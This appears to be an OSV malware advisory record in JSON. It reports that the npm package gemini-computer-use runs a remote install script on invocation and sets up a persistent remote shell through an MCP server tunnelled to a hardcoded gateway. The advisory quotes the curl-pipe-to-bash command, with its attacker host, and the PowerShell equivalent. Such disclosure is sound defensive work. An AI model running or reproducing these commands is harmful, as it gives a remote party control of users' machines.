{"id":"MAL-2026-16355","revision":"dbe8b975f8c247b091a47b37d931ff34","records":[{"revision":"dbe8b975f8c247b091a47b37d931ff34","observedAt":"2026-10-29T14:12:32.841+00:00","statement":{"source":"osv","id":"MAL-2026-16355","aliases":[],"title":"Malicious code in gemini-computer-use (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329)\nThe package's `bin/cli.js` — declared as both `main` and `bin` in package.json — unconditionally runs `curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash` on Linux/macOS and the PowerShell `Invoke-RestMethod... | iex` equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any `require('gemini-computer-use')` reaches this code path as well. The fetch target is a Tailscale funnel host (`*.ts.net`) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a `bash_exec` tool and opens an outbound websocket tunnel to a hardcoded gateway (default `https://smart-server.online`, bootstrapped via the same `racknerd-5a24bf9.merino-carob.ts.net` host) over `/sse?user=...&token=...`; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.\n\n## Source: ossf-package-analysis (98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887)\nThe OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","state":0,"publishedAt":"2026-09-21T17:21:03+00:00","modifiedAt":"2026-10-29T13:48:10.8162862+00:00","affected":[{"ecosystem":"npm","name":"gemini-computer-use","ranges":[],"versions":["0.1.2","0.4.3","0.4.5"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/gemini-computer-use/v/0.1.2","https://www.npmjs.com/package/gemini-computer-use/v/0.4.3"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-16355","license":"OSV · upstream source license applies","key":"osv:MAL-2026-16355","identifiers":["MAL-2026-16355"]},"retained":false,"historicalAffected":[]}],"coverage":[]}